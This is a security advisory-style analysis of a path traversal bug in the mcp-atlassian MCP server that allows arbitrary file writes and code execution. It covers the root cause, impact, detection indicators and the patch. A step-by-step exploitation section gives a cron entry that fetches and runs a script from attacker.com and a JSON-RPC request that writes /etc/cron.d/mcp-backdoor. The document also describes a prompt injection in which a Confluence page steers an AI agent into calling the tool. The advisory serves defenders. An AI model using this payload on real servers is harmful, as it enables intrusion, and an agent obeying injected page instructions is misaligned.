CVE-2026-27825: 
Python vulnerability analysis and mitigation

CVE-2026-27825 is a path traversal vulnerability in the mcp-atlassian package (the Model Context Protocol server for Atlassian tools) that allows arbitrary file writes leading to arbitrary code execution. The confluence_download_attachment MCP tool accepts a download_path parameter with no directory boundary enforcement, enabling an attacker to write attacker-controlled content to any path the server process can write to. All versions of mcp_atlassian prior to 0.17.0 are affected. The vulnerability was published by the maintainer on February 24, 2026, and added to the GitHub Advisory Database on March 10, 2026. It carries a CVSS v3.1 base score of 9.0 (Critical) per the GitHub Advisory (Github Advisory, GitHub Security Advisory).

The root cause is improper limitation of a pathname to a restricted directory (CWE-22) combined with external control of file name or path (CWE-73). In src/mcp_atlassian/confluence/attachments.py (lines 183–200), the implementation calls os.path.abspath() to normalize the caller-supplied download_path, but performs no containment check — it then calls os.makedirs() to create any required parent directories and writes the attachment content verbatim to the resolved path. Because the MCP HTTP transport carries no authentication by default and binds to HOST=0.0.0.0, any host on the adjacent network can invoke the tool using the server's embedded Confluence credentials. The same flaw exists in download_content_attachments via its target_dir parameter. Additionally, a prompt-injection vector exists: a malicious Confluence page can embed LLM instructions directing an AI agent to call the tool with attacker-specified parameters, achieving code execution without direct network access (Github Advisory, GitHub Security Advisory).

Successful exploitation grants an attacker arbitrary code execution on the server host with the privileges of the MCP server process. Concrete RCE paths include writing a cron entry to /etc/cron.d/ (executes within one scheduler cycle with no restart), overwriting Python modules in the application's virtual environment, injecting SSH authorized_keys for persistent shell access, or modifying shell profiles (~/.bashrc). Because the server uses embedded Confluence credentials, a successful attacker also inherits access to all Confluence content reachable by those credentials, resulting in high confidentiality, integrity, and availability impact with potential for lateral movement across the enterprise (Github Advisory, GitHub Security Advisory).

A public proof-of-concept exploit has been reported, and exploitation has been documented by multiple sources including a Substack write-up (Pluto Security Blog, Feedly). A detection/scanning script (MCPwnfluence) is publicly available on GitHub that identifies vulnerable installations, though it does not include weaponized exploit code. A separate PoC repository (github.com/romain-deperne/CVE-2026-27825) was also published. The EPSS score is approximately 0.021% (6th percentile). The vulnerability is not currently listed in the CISA KEV catalog. Exploitation requires adjacent network access and low privileges (Confluence credentials with page access), but in enterprise environments where Confluence write access is broadly granted, the effective prerequisite reduces to network reachability of the MCP HTTP port (Github Advisory, Arctic Wolf).

1. Reconnaissance: Identify hosts running mcp-atlassian versions prior to 0.17.0 on the local network. The server binds to 0.0.0.0 by default, making it discoverable via port scanning. Use the MCPwnfluence detection script (update-mcp-atlassian.sh --check-only) to confirm vulnerable installations.
2. Prepare malicious payload: Using Confluence credentials with write access to at least one page, create a file containing a malicious cron entry (e.g., * * * * * root curl http://attacker.com/shell.sh | bash) and upload it as an attachment to any accessible Confluence page. Note the resulting page_id and attachment_id.
3. Invoke the vulnerable MCP tool: Send a JSON-RPC request to the MCP HTTP endpoint (no authentication required by default) targeting confluence_download_attachment with the download_path set to a sensitive system location:

{
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "name": "confluence_download_attachment",
    "arguments": {
      "page_id": "<page_id>",
      "attachment_id": "<attachment_id>",
      "download_path": "/etc/cron.d/mcp-backdoor"
    }
  },
  "id": 1
}

4. Achieve code execution: The attachment content is written verbatim to /etc/cron.d/mcp-backdoor. The system cron daemon executes the entry within one minute with no server restart required, establishing a reverse shell or executing further attacker commands.
5. Alternative — Prompt injection: Embed LLM instructions in a Confluence page directing an AI agent connected to the MCP server to call confluence_download_attachment with attacker-controlled parameters, achieving code execution without direct network access to the MCP port (Github Advisory, GitHub Security Advisory).

• Network: Unexpected JSON-RPC POST requests to the MCP HTTP port (default binding 0.0.0.0) calling confluence_download_attachment or download_content_attachments with download_path values pointing outside expected download directories (e.g., /etc/, /home/, /lib/, ~/.ssh/).
• File System: Presence of unexpected files in /etc/cron.d/ (e.g., mcp-backdoor); new or modified entries in /home/<user>/.ssh/authorized_keys; unexpected .py files added or modified in the application's virtual environment site-packages; modifications to ~/.bashrc or ~/.profile.
• Logs: MCP server logs showing confluence_download_attachment tool calls with unusual download_path values; os.makedirs activity creating directories outside the expected working directory; cron daemon logs (/var/log/syslog or /var/log/cron) showing new job execution from recently created files in /etc/cron.d/.
• Process: Unexpected child processes spawned by the MCP server process (e.g., curl, wget, bash, python) shortly after tool invocation; outbound network connections from the server to unknown external IPs.

Upgrade mcp-atlassian to version 0.17.0 or later immediately. The patch (commit 52b9b09) introduces a validate_safe_path() utility that resolves symlinks via Path.resolve() and enforces containment using is_relative_to(), blocking path traversal in both download_attachment() and download_content_attachments(). If immediate patching is not possible: restrict network access to the MCP HTTP port to trusted hosts only; limit Confluence credentials used by the server to read-only access; and monitor for suspicious file write operations in system directories such as /etc/cron.d/, ~/.ssh/, and Python site-packages (Github Advisory, Patch Commit).

Arctic Wolf published a dedicated blog post covering the vulnerability, describing it as a critical unauthenticated RCE and SSRF issue in MCP Atlassian (Arctic Wolf). Pluto Security, whose researchers (yotampe-pluto and gil-maman-p) discovered and reported the vulnerability, published a detailed write-up and released the MCPwnfluence detection tool (Pluto Security Blog). The vulnerability received coverage from The Hacker Wire, BeyondMachines, F5 Labs' weekly threat bulletin, and security aggregators including Malware.news and Sploitus, reflecting broad community awareness of the risk posed by unauthenticated MCP server deployments. The case has also been cited in broader discussions about MCP security architecture, including a Bishop Fox blog post on SSRF and token passthrough risks in MCP (Bishop Fox).